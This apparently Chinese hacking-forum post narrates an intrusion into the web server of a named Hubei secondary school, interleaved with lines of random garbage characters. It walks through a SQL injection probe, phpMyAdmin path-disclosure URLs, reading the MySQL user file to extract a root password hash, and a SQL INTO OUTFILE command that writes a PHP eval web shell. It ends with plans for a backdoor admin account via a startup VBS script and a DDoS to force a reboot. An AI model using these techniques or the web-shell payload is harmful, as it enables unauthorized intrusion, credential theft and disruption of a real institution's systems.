友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！



常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
4 Z8 B+ u/ W0 z. N. U' l" X
那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
4 k2 Q- ]7 d0 ~* I& n8 R
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
# i; B9 x# y, Y2./phpMyAdmin/phpinfo.php  
3./load_file()  
; I4 a' t3 P2 U. m6 _! e4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5 ^. k, T, u( L7 L6 {5./phpmyadmin/libraries/select_lang.lib.php  
5 Q1 x- P5 Y# a4 D: T: K! D6./phpmyadmin/libraries/lect_lang.lib.php  
% a" u% ^, E3 ^! `* Z7 D& [7./phpmyadmin/libraries/mcrypt.lib.php   
; U  |4 r; C$ G8./phpmyadmin/libraries/export/xls.php  
' ?8 C. B$ D! |
均不行...........................
2 X' N+ Y5 v2 ]: V# [
御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
+ X# X$ `* A1 Q% G/ U
8 k: F( Q% N. L6 N$ B' g权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
( _) m$ @: T! s: y* V/ m& v
  h3 j) w7 }1 N9 V默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
3 d; t+ A6 B% a8 n0 s/ b( T; ?
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

7 F, A) i) z/ h5 G+ m0 O想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
/ U$ m/ I8 g) ]  K. \
: q; S! ?, c6 T4 r- f2 I自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
! I: S) N: x: R, J/ V
) E5 L; Y, g" b) V成功读到root密码：

17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
! j& C: y% o8 [' v; ?21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
: w1 H1 ?' h# b; p2 ]3 w" _25---- 1(0031)
% o% M) w0 w' [! r) X2 i/ N7 G  {26---- C(0043)
27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
. r( K1 Y; g/ l3 S) g$ R7 W30---- 8(0038)
, `, K3 Q! P; ^. c& e% F) t6 K31---- A(0041)
! L1 k+ I" N8 V4 B4 R3 |32---- 9(0039)
33---- B(0042)
0 A- Z& [0 b  p  x4 z) q# {4 O34---- 5(0035)
/ X2 R1 U# B- t! v+ j35---- 4(0034)
: {9 d* E, @" @7 i36---- 8(0038)
37---- 6(0036)
. H" E) I0 |0 \$ B/ c3 E38---- 4(0034)
39---- 9(0039)
0 F) J; l: p; V2 D7 D- Y8 k6 t40---- 1(0031)
: u$ e" k; M/ }& n- `3 l41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
47---- F(0046)
48---- F(0046)
! y: q! F0 G8 e7 A4 ]49---- 4(0034)
50---- F(0046)
, D( N# _  ^9 }$ v& Y1 s6 Z51---- 0(0030)
* K# y2 ~7 S4 |52---- 3(0033)
53---- 2(0032)
54---- A(0041)
5 c0 G9 A! d; F4 ~55---- 4(0034)
56---- A(0041)
% S6 j* G" {9 L! R6 `; L: D57---- B(0042)
58---- *(0044)
8 ]5 j' z  m% m! P# W59---- *(0035)
60---- *(0041)
! J' t3 F* n$ ]1 l1 ?, o/ S& Q" L61---- *0032)

解密后成功登陆phpmyamin
  d; B2 T" o: p* {                          

$ x! P1 R. C+ C% R1 b1 k                             

0 i0 f; R' y# g8 G0 `找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
  d$ t; W$ n/ `" y2 U0 }" B
4 |$ F5 j$ r7 t7 c6 I& f+ \# ^成功执行，拿下shell，菜刀连接：

, Y8 O9 u" E5 U3 q! e服务器不支持asp,aspx,php提权无果...................
8 t- ]! h% X0 G
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

3 m' c7 H' j* _4 A

-------------------------------------------------------------------------------
admin
  ^4 r7 h  l. A( |6 _4 YAdministrator
slipper$
) g8 v- U4 z. }3 N7 z6 ]6 jsqluser
9 z3 a: E) K: i9 F, }命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

ddos服务器重启，不然就只能坐等服务器重启了...............................

; M$ P' |) X! S  J! s7 f( M      

3 B7 |% R3 L5 Z+ U' d2 Q4 B- l

angel